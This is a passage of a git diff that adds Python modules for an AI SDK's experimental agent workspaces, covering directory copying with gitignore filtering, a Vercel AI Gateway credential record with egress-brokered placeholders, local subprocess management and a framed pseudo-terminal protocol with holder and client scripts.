machine. + + Where the harnesses keep their session stores, and where the SDK keeps + per-conversation state next to them. Asked of the machine, never assumed + from this one. + """ + result = await self.exec(["printenv", "HOME"], timeout=30) + return result.stdout.strip() or "/root" + + @abstractmethod + async def open(self) -> None: ... + + @abstractmethod + async def close(self) -> None: + """Release the workspace and everything it spawned.""" + + @abstractmethod + async def spawn( + self, argv: Sequence[str], *, env: Mapping[str, str] | None = None + ) -> Process: ... + + @abstractmethod + async def exec( + self, + argv: Sequence[str], + *, + env: Mapping[str, str] | None = None, + timeout: float | None = None, + ) -> ExecResult: ... + + @abstractmethod + async def pty( + self, + argv: Sequence[str], + *, + env: Mapping[str, str] | None = None, + name: str | None = None, + size: tuple[int, int] | None = None, + ) -> _pty.Pty: + """Run a program on a pseudo-terminal. + + For programs a human talks to, where `spawn` is for programs a protocol + talks to. A NAME means persistence: the program outlives this connection + and a later `attach(name)` picks it up; unnamed, it ends with the + connection. + """ + + @abstractmethod + async def attach(self, name: str) -> _pty.Pty: + """Reconnect to a named pty started earlier, from any process.""" + + @abstractmethod + async def ptys(self) -> list[_pty.PtyInfo]: + """List the named ptys still running here, and who is on each. + + Process plumbing this workspace started, nothing about what runs inside + them. Never connects: that would take a pty from its client. + """ + + @abstractmethod + async def read_text(self, path: str) -> str: + """Read a workspace-relative file. + + Raises FileNotFoundError when it is absent — never returns '' for a + missing file. + """ + + @abstractmethod + async def write_text(self, path: str, data: str) -> None: + """Write a workspace-relative file, creating parent directories.""" + + @abstractmethod + async def read_bytes(self, path: str) -> bytes: ... + + @abstractmethod + async def exists(self, path: str) -> bool: ... + + @abstractmethod + async def _copy_in( + self, + source: Path, + dest: str, + ignore: Sequence[str], + *, + gitignore: bool, + ) -> int: + """Copy a local directory in. Use `copy()`, not this.""" + + @abstractmethod + async def _copy_out( + self, + source: str, + dest: Path, + ignore: Sequence[str], + *, + gitignore: bool, + ) -> int: + """Copy a workspace directory out. Use `copy()`, not this. + + Filtered the same way as going in — as it lands, if the far side cannot. + """ + + @abstractmethod + async def reachable_url(self, port: int) -> str: + """Return a URL the AGENT can reach for a port served by the caller. + + Async because exposing a port is an API call on a remote workspace — + the local case is the degenerate one, not the general one. + """ + + def contains(self, candidate: str) -> bool: + return contains(self.path, candidate) + + def __truediv__(self, path: str) -> WorkspacePath: + return WorkspacePath(self, path) + + async def __aenter__(self) -> Self: + await self.open() + return self + + async def __aexit__(self, *exc_info: object) -> None: + await self.close() + + +async def copy( + source: str | Path | WorkspacePath, + dest: str | Path | WorkspacePath, + *, + ignore: Sequence[str] | None = None, + gitignore: bool = True, +) -> int: + """Copy a directory between your machine and a workspace, either way. + + await copy("./project", sandbox / "project") # in + await copy(sandbox / "reviews", "./reviews") # out + await copy(one / "out", other / "in") # between workspaces + + Direction is whichever side is a `WorkspacePath`; there is no flag to + get backwards. Two plain paths is an error — copying local to local is + `shutil`'s job. + + `ignore` takes glob patterns; a match is pruned rather than walked, + which is what makes excluding `node_modules` cheap. DEFAULT_IGNORE + covers the usual noise. What the tree's own `.gitignore` files exclude + is skipped too — nested ones, and those of the enclosing repository + above the directory named — unless `gitignore=False`. Both describe the + tree, not the direction: they apply whichever way it travels. + + Returns the number of files copied. + """ + patterns = DEFAULT_IGNORE if ignore is None else tuple(ignore) + if isinstance(source, WorkspacePath) and isinstance(dest, WorkspacePath): + # Via here, because no provider offers a workspace-to-workspace move. + with tempfile.TemporaryDirectory(prefix="harness-copy-") as staging: + await source.workspace._copy_out( + source.path, Path(staging), patterns, gitignore=gitignore + ) + return await dest.workspace._copy_in( + Path(staging), dest.path, patterns, gitignore=gitignore + ) + if isinstance(dest, WorkspacePath): + assert not isinstance(source, WorkspacePath) + local = Path(source).expanduser() + if not local.is_dir(): + raise FileNotFoundError(f"{local} is not a directory") + return await dest.workspace._copy_in( + local, dest.path, patterns, gitignore=gitignore + ) + if isinstance(source, WorkspacePath): + local_dest = Path(dest).expanduser() + local_dest.mkdir(parents=True, exist_ok=True) + return await source.workspace._copy_out( + source.path, local_dest, patterns, gitignore=gitignore + ) + raise TypeError( + "copy() moves files between your machine and a workspace: mark " + + 'one side with `workspace / "path"`. For local-to-local, use ' + + "shutil.copytree." + ) diff --git a/src/ai/workspaces/experimental/_gateway.py b/src/ai/workspaces/experimental/_gateway.py new file mode 100644 index 00000000..adb68e6c --- /dev/null +++ b/src/ai/workspaces/experimental/_gateway.py @@ -0,0 +1,109 @@ +"""Reaching a model through the Vercel AI Gateway, without looking anything up. + +A harness authenticates where it RUNS. Your own `claude` login covers a +Local workspace, but a microVM has never seen it — and codex needs a +`model_providers` table it would normally read from ~/.codex/config.toml, +which a fresh VM does not have either. + + from ai.workspaces.experimental import vercel_ai_gateway + + gw = vercel_ai_gateway() # AI_GATEWAY_API_KEY + + # the firewall injects the key + async with VercelSandbox(gateway=gw) as ws: + async with claude_code(workspace=ws) as agent: ... + async with codex(workspace=ws) as agent: ... + + # no firewall: the key goes in the env + async with Local(".", gateway=gw) as ws: + async with claude_code(workspace=ws) as agent: ... + +The record is neutral: a base URL and a credential, nothing about any +harness. The WORKSPACE holds where the model is reached — and, on a +sandbox, injects the credential into requests at egress, so the VM only +ever holds a placeholder. Each ADAPTER spells the record the way its own +CLI wants to be told: claude through its environment, codex through its +`-c` provider overrides. Neither side learns the other's dialect. +""" + +from __future__ import annotations + +import os +from urllib.parse import urlparse + +from pydantic import BaseModel, ConfigDict + +from . import errors + +#: The endpoint each CLI gets a path under. Both are compatibility surfaces +#: meant for that specific harness rather than the gateway's generic `/v1`, +#: so the traffic is attributed correctly and each CLI's model picker is +#: populated. https://vercel.com/docs/ai-gateway/coding-agents +DEFAULT_BASE_URL = "https://ai-gateway.vercel.sh" +KEY_VAR = "AI_GATEWAY_API_KEY" + +#: What a CLI is handed in place of the credential when the workspace +#: injects the real one at egress. Deliberately a fixed, recognisable +#: string: it is what a test greps the VM's environment for, and what a +#: 401 hint can name. +PLACEHOLDER = "ai-python-brokered-credential" + +SETUP_HINT = ( + f"Set {KEY_VAR}, or pass vercel_ai_gateway(api_key=...). A linked " + "project gets one from `vercel env pull`; `vercel ai-gateway setup` " + "creates one and configures your local CLIs too. " + "https://vercel.com/docs/ai-gateway/coding-agents" +) + + +class Gateway(BaseModel): + """Where a harness reaches its model: a base URL and a credential. + + A record, not a protocol, and a neutral one — it names no harness and + no environment variable. Adapters derive their own configuration from + it (`gateway_env` in the Claude adapter, `gateway_config` in Codex's); + workspaces read `host` and `credential` to inject the latter at egress. + """ + + model_config = ConfigDict(frozen=True) + + base_url: str + credential: str + + @property + def host(self) -> str: + return urlparse(self.base_url).hostname or self.base_url + + @property + def is_brokered(self) -> bool: + """Whether this copy carries the placeholder rather than the key.""" + return self.credential == PLACEHOLDER + + def brokered(self) -> Gateway: + """Return this gateway with the credential replaced by `PLACEHOLDER`. + + What an adapter applies on a workspace that injects credentials at + egress: the CLI sends the placeholder, the firewall overwrites the + header, and the real key never enters the machine the CLI runs on. + """ + return self.model_copy(update={"credential": PLACEHOLDER}) + + +def vercel_ai_gateway( + *, api_key: str | None = None, base_url: str = DEFAULT_BASE_URL +) -> Gateway: + """Configure both harnesses for the Vercel AI Gateway. + + `api_key` defaults to `AI_GATEWAY_API_KEY` from this process. Pass it + to use a different key — a per-tenant key, one from a secret manager, + or one that never touches your environment. + + `base_url` exists so a change at the gateway does not require a release + of this library. + """ + key = api_key if api_key is not None else os.environ.get(KEY_VAR, "") + if not key: + raise errors.NotAuthenticatedError( + "vercel-ai-gateway", f"no {KEY_VAR}", SETUP_HINT + ) + return Gateway(base_url=base_url.rstrip("/"), credential=key) diff --git a/src/ai/workspaces/experimental/_gitignore.py b/src/ai/workspaces/experimental/_gitignore.py new file mode 100644 index 00000000..f2c545d6 --- /dev/null +++ b/src/ai/workspaces/experimental/_gitignore.py @@ -0,0 +1,224 @@ +"""What a project's `.gitignore` says not to ship. + +`copy()` honours it by default. The files a project keeps out of version +control — `.env`, build output, editor state — are the files nobody means to +hand an agent, and the project has already written down which they are. + +This is a reading of gitignore(5) in Python rather than a call to `git`: it +works on a directory that is not a repository, on a machine without git, and +on a tree that arrived in an archive. Read are every `.gitignore` under the +directory being copied, the ones above it up to the root of the enclosing +repository (a subdirectory of a monorepo is governed by the root's rules +too), and `.git/info/exclude`. The global excludes file is not: it describes +this machine's habits, not the project. +""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import TYPE_CHECKING + +if TYPE_CHECKING: + from pathlib import Path + +GITIGNORE = ".gitignore" + + +@dataclass(frozen=True) +class Rule: + """One line of an ignore file, compiled.""" + + regex: re.Pattern[str] + negate: bool + dir_only: bool + anchored: bool + """A pattern with a slash in it is matched against the path relative to + its file's directory; one without is matched against the entry's name, + at any depth.""" + + def matches(self, relative: str, name: str, *, is_dir: bool) -> bool: + if self.dir_only and not is_dir: + return False + return ( + self.regex.fullmatch(relative if self.anchored else name) + is not None + ) + + +@dataclass(frozen=True) +class Scope: + """The rules of one ignore file, and the directory they are relative to.""" + + base: str + """Return that directory as a posix prefix: "" or ending in "/".""" + rules: tuple[Rule, ...] + + +def parse(text: str) -> tuple[Rule, ...]: + """Compile the lines of one ignore file, in order.""" + rules: list[Rule] = [] + for raw in text.splitlines(): + line = _trim(raw) + if not line or line.startswith("#"): + continue + negate = line.startswith("!") + if negate: + line = line[1:] + dir_only = line.endswith("/") + line = line.rstrip("/") + anchored = "/" in line + line = line.lstrip("/") + if not line: + continue + rules.append( + Rule(re.compile(_translate(line)), negate, dir_only, anchored) + ) + return tuple(rules) + + +def _trim(line: str) -> str: + """Trailing spaces are ignored unless a backslash keeps them.""" + stripped = line.rstrip(" ") + if stripped.endswith("\\") and len(stripped) < len(line): + return stripped + " " + return stripped + + +def _translate(glob: str) -> str: + """Translate a gitignore glob to a regular expression over a path. + + Wildcards never cross a slash; `**` is the one that does, and only as a + whole path segment. + """ + out: list[str] = [] + i, n = 0, len(glob) + while i < n: + c = glob[i] + if c == "*": + j = i + while j < n and glob[j] == "*": + j += 1 + whole_segment = (i == 0 or glob[i - 1] == "/") and ( + j == n or glob[j] == "/" + ) + if j - i >= 2 and whole_segment: + if j == n: + out.append(".*") # trailing "/**": everything inside + else: + out.append("(?:.*/)?") # "**/": zero or more directories + j += 1 + else: + out.append("[^/]*") + i = j + elif c == "?": + out.append("[^/]") + i += 1 + elif c == "[": + end = _class_end(glob, i) + if end is None: + out.append(re.escape(c)) + i += 1 + else: + body = glob[i + 1 : end] + if body[0] in "!^": + body = "^" + body[1:] + out.append( + "[" + body.replace("\\", "\\\\").replace("[", "\\[") + "]" + ) + i = end + 1 + elif c == "\\" and i + 1 < n: + out.append(re.escape(glob[i + 1])) + i += 2 + else: + out.append(re.escape(c)) + i += 1 + return "".join(out) + + +def _class_end(glob: str, start: int) -> int | None: + """Index of the `]` closing the class opened at `start`, if it is one.""" + j = start + 1 + if j < len(glob) and glob[j] in "!^": + j += 1 + if j < len(glob) and glob[j] == "]": + j += 1 # a leading "]" is a literal member + while j < len(glob) and glob[j] != "]": + j += 1 + return j if j < len(glob) else None + + +def _read(file: Path) -> tuple[Rule, ...]: + return parse(file.read_text(errors="replace")) + + +class GitIgnore: + """The ignore rules that govern one directory tree. + + Built once per copy. The walk asks it about every entry, and tells it + when it descends into a directory so that directory's own file joins the + rules in force — deeper files come later, so they win. + """ + + def __init__(self, source: Path) -> None: + source = source.resolve() + top = next( + (d for d in (source, *source.parents) if (d / ".git").exists()), + source, + ) + self._prefix = ( + "" if source == top else source.relative_to(top).as_posix() + "/" + ) + + scopes: list[Scope] = [] + exclude = top / ".git" / "info" / "exclude" + if (top / ".git").is_dir() and exclude.is_file(): + scopes.append(Scope("", _read(exclude))) + # The files above the directory named, from the repository root down + # to its parent. Its own is picked up by the walk, like any other. + above: list[Path] = [] + if source != top: + above.append(top) + for part in source.relative_to(top).parts[:-1]: + above.append(above[-1] / part) + for directory in above: + file = directory / GITIGNORE + if file.is_file(): + base = ( + "" + if directory == top + else directory.relative_to(top).as_posix() + "/" + ) + scopes.append(Scope(base, _read(file))) + self.above: tuple[Scope, ...] = tuple(scopes) + + def descend( + self, scopes: tuple[Scope, ...], directory: Path, prefix: str + ) -> tuple[Scope, ...]: + """Return the scopes in force inside `directory`. + + Its path relative to the tree being copied is `prefix` ("" or ending in + "/"). + """ + file = directory / GITIGNORE + if not file.is_file(): + return scopes + return (*scopes, Scope(self._prefix + prefix, _read(file))) + + def ignored( + self, + scopes: tuple[Scope, ...], + relative: str, + name: str, + *, + is_dir: bool, + ) -> bool: + """Whether the last matching rule says so.""" + path = self._prefix + relative + verdict = False + for scope in scopes: + within = path[len(scope.base) :] + for rule in scope.rules: + if rule.matches(within, name, is_dir=is_dir): + verdict = not rule.negate + return verdict diff --git a/src/ai/workspaces/experimental/_local.py b/src/ai/workspaces/experimental/_local.py new file mode 100644 index 00000000..dfff59f7 --- /dev/null +++ b/src/ai/workspaces/experimental/_local.py @@ -0,0 +1,369 @@ +"""A directory on this machine.""" + +from __future__ import annotations + +import asyncio +import contextlib +import os +import sys +import tempfile +from importlib.resources import files +from pathlib import Path +from typing import TYPE_CHECKING + +from . import _base, _gateway, _pty +from . import errors as errors_ + +if TYPE_CHECKING: + from collections.abc import Mapping, Sequence + +_TERM_GRACE = 3.0 + + +class LocalProcess(_base.Process): + def __init__(self, proc: asyncio.subprocess.Process) -> None: + self._proc = proc + + @property + def pid(self) -> int | None: + return self._proc.pid + + async def write(self, data: str) -> None: + if self._proc.stdin is None: + raise errors_.WorkspaceError( + "process was not spawned with a writable stdin" + ) + self._proc.stdin.write(data.encode()) + await self._proc.stdin.drain() + + async def readline(self) -> str: + if self._proc.stdout is None: + raise errors_.WorkspaceError( + "process was not spawned with a readable stdout" + ) + return (await self._proc.stdout.readline()).decode() + + async def read_stderr(self) -> str: + if self._proc.stderr is None: + return "" + return (await self._proc.stderr.read()).decode() + + async def terminate(self) -> None: + """Stop the group: SIGTERM, then SIGKILL, bounded.""" + if self._proc.returncode is not None: + return + with contextlib.suppress(ProcessLookupError): + os.killpg(os.getpgid(self._proc.pid), 15) + try: + async with asyncio.timeout(_TERM_GRACE): + await self._proc.wait() + except TimeoutError: + await self.kill() + + async def detach(self) -> None: + """Terminate: a local child cannot outlive its client meaningfully.""" + await self.terminate() + + async def kill(self) -> None: + if self._proc.returncode is not None: + return + with contextlib.suppress(ProcessLookupError): + os.killpg(os.getpgid(self._proc.pid), 9) + with contextlib.suppress(Exception): + await self._proc.wait() + + async def wait(self) -> int | None: + return await self._proc.wait() + + +class Local(_base.Workspace): + kind = "local" + + def __init__( + self, + path: str | Path, + *, + env: Mapping[str, str] | None = None, + gateway: _gateway.Gateway | None = None, + ) -> None: + self._root = Path(path).expanduser().resolve() + self.env = dict(env or {}) + # No firewall on your own machine: a gateway here means its + # credential goes in the harness's environment, as the real key. + self.gateway = gateway + self._children: list[LocalProcess] = [] + + @property + def path(self) -> str: + return str(self._root) + + @property + def coords(self) -> _base.WorkspaceCoords: + return _base.WorkspaceCoords(provider="local", location=str(self._root)) + + async def open(self) -> None: + if self._root.exists() and not self._root.is_dir(): + raise errors_.WorkspaceError( + f"{self._root} exists and is not a directory" + ) + self._root.mkdir(parents=True, exist_ok=True) + + async def close(self) -> None: + # The workspace owns what it spawned; nothing outlives it. + for child in list(self._children): + with contextlib.suppress(Exception): + await child.terminate() + self._children.clear() + + def _resolve(self, path: str) -> Path: + target = Path(path) + return target if target.is_absolute() else self._root / target + + async def spawn( + self, argv: Sequence[str], *, env: Mapping[str, str] | None = None + ) -> _base.Process: + try: + proc = await asyncio.create_subprocess_exec( + *argv, + cwd=self._root, + env={**os.environ, **self.env, **(env or {})}, + stdin=asyncio.subprocess.PIPE, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + # Own the whole tree, so teardown reaches grandchildren too. + start_new_session=True, + ) + except OSError as exc: + # A program that never started is not a process to stream from. + raise errors_.WorkspaceError( + f"cannot spawn {argv[0]!r}: {exc}" + ) from exc + child = LocalProcess(proc) + self._children.append(child) + return child + + async def exec( + self, + argv: Sequence[str], + *, + env: Mapping[str, str] | None = None, + timeout: float | None = None, + ) -> _base.ExecResult: + try: + proc = await asyncio.create_subprocess_exec( + *argv, + cwd=self._root, + env={**os.environ, **self.env, **(env or {})}, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + start_new_session=True, + ) + except OSError as exc: + # Shell semantics: a command that cannot be executed is exit 127, + # not an exception. Probes read the exit code; raising OSError + # here would leak a Python detail into "is this installed?". + return _base.ExecResult(exit_code=127, stderr=f"{argv[0]}: {exc}") + try: + async with asyncio.timeout(timeout): + stdout, stderr = await proc.communicate() + except TimeoutError: + with contextlib.suppress(ProcessLookupError): + os.killpg(os.getpgid(proc.pid), 9) + raise + return _base.ExecResult( + exit_code=proc.returncode if proc.returncode is not None else -1, + stdout=stdout.decode(errors="replace"), + stderr=stderr.decode(errors="replace"), + ) + + async def read_text(self, path: str) -> str: + return await asyncio.to_thread(self._resolve(path).read_text) + + async def write_text(self, path: str, data: str) -> None: + target = self._resolve(path) + + def _write() -> None: + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(data) + + await asyncio.to_thread(_write) + + async def read_bytes(self, path: str) -> bytes: + return await asyncio.to_thread(self._resolve(path).read_bytes) + + async def _copy_in( + self, + source: Path, + dest: str, + ignore: Sequence[str], + *, + gitignore: bool, + ) -> int: + target = self._resolve(dest) + return await asyncio.to_thread( + _base.copy_tree, source, target, tuple(ignore), gitignore=gitignore + ) + + async def _copy_out( + self, + source: str, + dest: Path, + ignore: Sequence[str], + *, + gitignore: bool, + ) -> int: + root = self._resolve(source) + if not root.is_dir(): + raise FileNotFoundError( + f"{source} is not a directory in this workspace" + ) + return await asyncio.to_thread( + _base.copy_tree, root, dest, tuple(ignore), gitignore=gitignore + ) + + async def exists(self, path: str) -> bool: + return await asyncio.to_thread(self._resolve(path).exists) + + async def home(self) -> str: + return str(Path.home()) + + # -- pseudo-terminals ------------------------------------------------- + # + # The same holder the sandbox uses, run as a local subprocess: one + # implementation of persistence, scrollback and resize, and `attach` + # works identically here. Named ptys live under ~/.ai-python/ptys so a + # later process can find them; unnamed ones use a private socket and a + # holder that ends the program when this connection drops. + + def _pty_dir(self) -> Path: + d = Path.home() / ".ai-python" / "ptys" + d.mkdir(parents=True, exist_ok=True) + return d + + async def pty( + self, + argv: Sequence[str], + *, + env: Mapping[str, str] | None = None, + name: str | None = None, + size: tuple[int, int] | None = None, + ) -> _pty.Pty: + cols, rows = size or _pty.DEFAULT_SIZE + if name is not None: + sock = self._pty_dir() / f"{name}.sock" + if _holder_pid(sock) is not None: + raise errors_.WorkspaceError( + f"a pty named {name!r} is already running here; " + "attach(name) instead" + ) + flags: list[str] = [] + else: + sock = Path(tempfile.mkdtemp(prefix="harness-pty-")) / "pty.sock" + flags = ["--transient"] + holder = str(files("ai.workspaces.experimental") / "_pty_holder.py") + await asyncio.create_subprocess_exec( + sys.executable, + # -P: keep the script's own directory off sys.path, where this + # package's tty.py would shadow the stdlib module pty imports. + "-P", + holder, + str(sock), + *flags, + "--cols", + str(cols), + "--rows", + str(rows), + "--", + *argv, + cwd=self.path, + env={**os.environ, **self.env, **(env or {})}, + stdin=asyncio.subprocess.DEVNULL, + stdout=asyncio.subprocess.DEVNULL, + stderr=asyncio.subprocess.DEVNULL, + start_new_session=True, # its life is the program's, not ours + ) + for _ in range(100): + if sock.exists(): + break + await asyncio.sleep(0.05) + else: + raise errors_.WorkspaceError( + f"the pty holder for {argv[0]!r} never opened its socket" + ) + return await self._connect_pty(sock, name) + + async def attach(self, name: str) -> _pty.Pty: + sock = self._pty_dir() / f"{name}.sock" + if not sock.exists(): + raise errors_.WorkspaceError( + f"no pty named {name!r} is running here" + ) + return await self._connect_pty(sock, name) + + async def ptys(self) -> list[_pty.PtyInfo]: + found: list[_pty.PtyInfo] = [] + for sock in sorted(self._pty_dir().glob("*.sock")): + pid = _holder_pid(sock) + if pid is not None: + found.append( + _pty.PtyInfo( + name=sock.stem, + pid=pid, + attached=Path(f"{sock}.client").exists(), + ) + ) + return found + + async def _connect_pty(self, sock: Path, name: str | None) -> _pty.Pty: + reader, writer = await asyncio.open_unix_connection(str(sock)) + pid_text = await asyncio.to_thread( + lambda: Path(f"{sock}.pid").read_text() + if Path(f"{sock}.pid").exists() + else "" + ) + pid = int(pid_text) if pid_text.strip().isdigit() else None + + async def send_bytes(data: bytes) -> None: + writer.write(data) + await writer.drain() + + async def recv_bytes() -> bytes: + return await reader.read(65536) + + async def close_channel() -> None: + writer.close() + with contextlib.suppress(Exception): + await writer.wait_closed() + + return _pty.FramedPty( + name=name, + send_bytes=send_bytes, + recv_bytes=recv_bytes, + close_channel=close_channel, + pid=pid, + ) + + async def reachable_url(self, port: int) -> str: + return f"http://127.0.0.1:{port}" + + +def _holder_pid(sock: Path) -> int | None: + """Return the program's pid if its holder still serves `sock`. + + Read from the pid file the holder writes beside its socket and removes + when the program ends — never by connecting, which would take the pty + from whoever is attached (the holder serves the newest client). + """ + try: + text = Path(f"{sock}.pid").read_text().strip() + except OSError: + return None + if not text.isdigit() or not sock.exists(): + return None + try: + os.kill(int(text), 0) + except ProcessLookupError: + return None + except PermissionError: + pass + return int(text) diff --git a/src/ai/workspaces/experimental/_pty.py b/src/ai/workspaces/experimental/_pty.py new file mode 100644 index 00000000..dab6892d --- /dev/null +++ b/src/ai/workspaces/experimental/_pty.py @@ -0,0 +1,215 @@ +"""A program on a pseudo-terminal, wherever the workspace is. + +`Workspace.pty(argv)` runs a program that believes it is on a terminal — +`isatty` is true, the line discipline applies, TUIs render — and hands back +its master side as a `Pty`: bytes in, bytes out, a window size, and the two +verbs the rest of the SDK uses for letting go. `spawn` is for programs you +talk to over a protocol; `pty` is for programs a human talks to. + +A NAME MEANS PERSISTENCE, as it does for a sandbox. An unnamed pty ends with +your connection. A named one is held open by a holder in the workspace +(`_pty_holder.py`) that lives exactly as long as the program, keeps a +bounded scrollback, and lets a later `Workspace.attach(name)` — from any +process — pick up where you left off. `detach()` drops your end and leaves a +named program running; `close()` ends it. + +Both workspaces implement this with the same holder and the same frames: +locally over a Unix socket, remotely over the platform's interactive PTY +with `_pty_client.py` as the wire. This module is the SDK side of those +frames. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import struct +from abc import ABC, abstractmethod +from typing import TYPE_CHECKING + +from pydantic import BaseModel + +if TYPE_CHECKING: + from collections.abc import Awaitable, Callable + +# Frame protocol shared with _pty_holder.py — kept identical there by hand, +# since that file runs where ai cannot be imported. +INPUT, RESIZE, DETACH, CLOSE, OUTPUT, EXIT = b"i", b"r", b"d", b"c", b"o", b"x" + +DEFAULT_SIZE = (80, 24) + + +def frame(kind: bytes, payload: bytes = b"") -> bytes: + return kind + struct.pack(">I", len(payload)) + payload + + +class PtyInfo(BaseModel): + """A named pty still running in a workspace, as `Workspace.ptys()` lists it. + + Learned without connecting: a pty serves one client, and a new + connection takes it from whoever has it, so a listing must never be one. + """ + + name: str + """What `Workspace.attach(name)` takes.""" + + pid: int + """The program's pid where it runs.""" + + attached: bool + """Whether a client is connected right now — someone's terminal is on it. + + Attaching anyway takes it over; the displaced client is told so. + """ + + +class Pty(ABC): + """The master side of a pseudo-terminal a program is running on.""" + + name: str | None + """Set for a persistent pty: what `Workspace.attach(name)` takes.""" + + pid: int | None + """The program's pid where it RUNS (the holder publishes it), for a + liveness check that outlives any one client.""" + + @abstractmethod + async def send(self, data: bytes) -> None: + """Bytes typed at the program's terminal.""" + + @abstractmethod + async def receive(self) -> bytes: + """Return the next bytes the program wrote to its terminal. + + b"" when it has ended. + """ + + @abstractmethod + async def resize(self, cols: int, rows: int) -> None: + """Tell the program its terminal changed size (it gets SIGWINCH).""" + + @abstractmethod + async def detach(self) -> None: + """Drop this connection. + + A named program keeps running; an unnamed one ends. + """ + + @abstractmethod + async def close(self) -> None: + """End the program, then drop the connection.""" + + @abstractmethod + async def wait(self) -> int | None: + """Wait for the program's exit status.""" + + +class FramedPty(Pty): + """A `Pty` speaking the holder's frames over any byte channel. + + The channel is two callables — `send_bytes`, `recv_bytes` — plus a + `close_channel`, so the same class serves a local Unix socket and a + remote interactive PTY. Output frames are queued as they arrive; an exit + frame settles `wait()` and ends `receive()` with b"". + """ + + def __init__( + self, + *, + name: str | None, + send_bytes: Callable[[bytes], Awaitable[None]], + recv_bytes: Callable[[], Awaitable[bytes]], + close_channel: Callable[[], Awaitable[None]], + pid: int | None = None, + ) -> None: + self.name = name + self.pid = pid + self._send = send_bytes + self._recv = recv_bytes + self._close_channel = close_channel + self._buf = b"" + self._out: asyncio.Queue[bytes] = asyncio.Queue() + self._exit: asyncio.Future[int | None] = ( + asyncio.get_running_loop().create_future() + ) + self._pump = asyncio.create_task( + self._read_loop(), name="harness-pty-pump" + ) + self._released = False + + async def _read_loop(self) -> None: + try: + while True: + data = await self._recv() + if not data: + break + self._buf += data + while len(self._buf) >= 5: + kind, length = ( + self._buf[:1], + struct.unpack(">I", self._buf[1:5])[0], + ) + if len(self._buf) < 5 + length: + break + payload, self._buf = ( + self._buf[5 : 5 + length], + self._buf[5 + length :], + ) + if kind == OUTPUT: + self._out.put_nowait(payload) + elif kind == EXIT: + status = ( + int(payload) if payload.strip().isdigit() else None + ) + if not self._exit.done(): + self._exit.set_result(status) + return + except (asyncio.CancelledError, Exception): + pass + finally: + if not self._exit.done(): + # The channel ended without an exit frame: detached, or the + # far side vanished. Not an exit status we can vouch for. + self._exit.set_result(None) + self._out.put_nowait(b"") + + async def send(self, data: bytes) -> None: + await self._send(frame(INPUT, data)) + + async def receive(self) -> bytes: + return await self._out.get() + + async def resize(self, cols: int, rows: int) -> None: + await self._send(frame(RESIZE, f"{cols},{rows}".encode())) + + async def detach(self) -> None: + if self._released: + return + self._released = True + with contextlib.suppress(Exception): + await self._send(frame(DETACH)) + await self._release() + + async def close(self) -> None: + if self._released: + return + try: + await self._send(frame(CLOSE)) + # Give the holder a moment to report the exit status. + async with asyncio.timeout(10): + await asyncio.shield(self._exit) + except Exception: + pass + self._released = True + await self._release() + + async def wait(self) -> int | None: + return await asyncio.shield(self._exit) + + async def _release(self) -> None: + self._pump.cancel() + with contextlib.suppress(asyncio.CancelledError, Exception): + await self._pump + with contextlib.suppress(Exception): + async with asyncio.timeout(10): + await self._close_channel() diff --git a/src/ai/workspaces/experimental/_pty_client.py b/src/ai/workspaces/experimental/_pty_client.py new file mode 100644 index 00000000..779026a1 --- /dev/null +++ b/src/ai/workspaces/experimental/_pty_client.py @@ -0,0 +1,62 @@ +"""Pump bytes between stdio and a pty holder's socket. + +Runs INSIDE the workspace, on the platform's interactive PTY (stdlib only). +It does not understand the frames it carries: the SDK on the far side and +the holder on this side speak the protocol; this is just the wire between +them when the workspace is a remote machine. Its one piece of intelligence +is the readiness marker, printed once connected so the SDK knows bytes sent +from here on reach the socket and are not swallowed by a shell still +starting up. The marker arrives as an ARGUMENT, never a literal in this +source, so a traceback echoing this file cannot fake readiness. + +Usage: _pty_client.py SOCKET MARKER [WAIT] + +WAIT is how many seconds to wait for the socket to appear — a pty just +started has a holder still binding it. Waiting here, beside the socket, is +free; waiting from the SDK meant a network round trip per look. +""" + +import os +import select +import socket +import sys +import time + + +def connect(path: str, wait: float) -> socket.socket: + deadline = time.monotonic() + wait + while True: + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + try: + sock.connect(path) + return sock + except (FileNotFoundError, ConnectionRefusedError): + sock.close() + if time.monotonic() >= deadline: + sys.stderr.write(f"no pty holder is listening on {path}\n") + sys.exit(1) + time.sleep(0.02) + + +def main() -> None: + sock = connect( + sys.argv[1], float(sys.argv[3]) if len(sys.argv) > 3 else 0.0 + ) + sys.stdout.write(sys.argv[2] + "\n") + sys.stdout.flush() + while True: + ready, _, _ = select.select([0, sock], [], []) + if 0 in ready: + data = os.read(0, 65536) + if not data: + return + sock.sendall(data) + if sock in ready: + data = sock.recv(65536) + if not data: + return + os.write(1, data) + + +if __name__ == "__main__": + main() diff --git a/src/ai/workspaces/experimental/_pty_holder.py b/src/ai/workspaces/experimental/_pty_holder.py new file mode 100644 index 00000000..04d66652 --- /dev/null +++ b/src/ai/workspaces/experimental/_pty_holder.py @@ -0,0 +1,233 @@ +"""Hold a program on a pseudo-terminal; let one client attach and detach. + +Runs INSIDE the workspace as a standalone script (stdlib only — it cannot +import ai there). It owns the master side of a pty, so the program +never sees its terminal disappear when a client goes away; keeps a bounded +scrollback so a reattaching client sees where things stand; and serves one +client at a time over a Unix socket. It lives exactly as long as the +program and removes its socket and pid file when the program ends — the pty +analogue of the FIFO supervisor in `_sandbox.py`. + +Frames, both directions: 1 byte type, 4 bytes big-endian length, payload. + client -> holder: i input r resize "cols,rows" d detach c close + holder -> client: o output x exit "status" +`ai.workspaces.experimental._pty` speaks the same protocol from the SDK side. + +Usage: + _pty_holder.py SOCKET [--transient] [--cols N] [--rows N] -- PROGRAM [ARGS] + --transient end the program when the client detaches (an unnamed pty) +""" + +import contextlib +import fcntl +import os +import pty +import select +import signal +import socket +import struct +import sys +import termios +import time +from collections.abc import Iterator + +FIRST_CLIENT_GRACE = 20.0 +"""Seconds a holder whose program ended before any client connected waits +for one, so a short program's output and status still reach whoever started it. +Long enough for a sandbox client: polling for the socket, then opening the +interactive session that carries the frames, takes several seconds there.""" + +SCROLLBACK = 256 * 1024 + + +def frame(kind: bytes, payload: bytes = b"") -> bytes: + return kind + struct.pack(">I", len(payload)) + payload + + +class Parser: + def __init__(self) -> None: + self.buf = b"" + + def feed(self, data: bytes) -> Iterator[tuple[bytes, bytes]]: + self.buf += data + while len(self.buf) >= 5: + 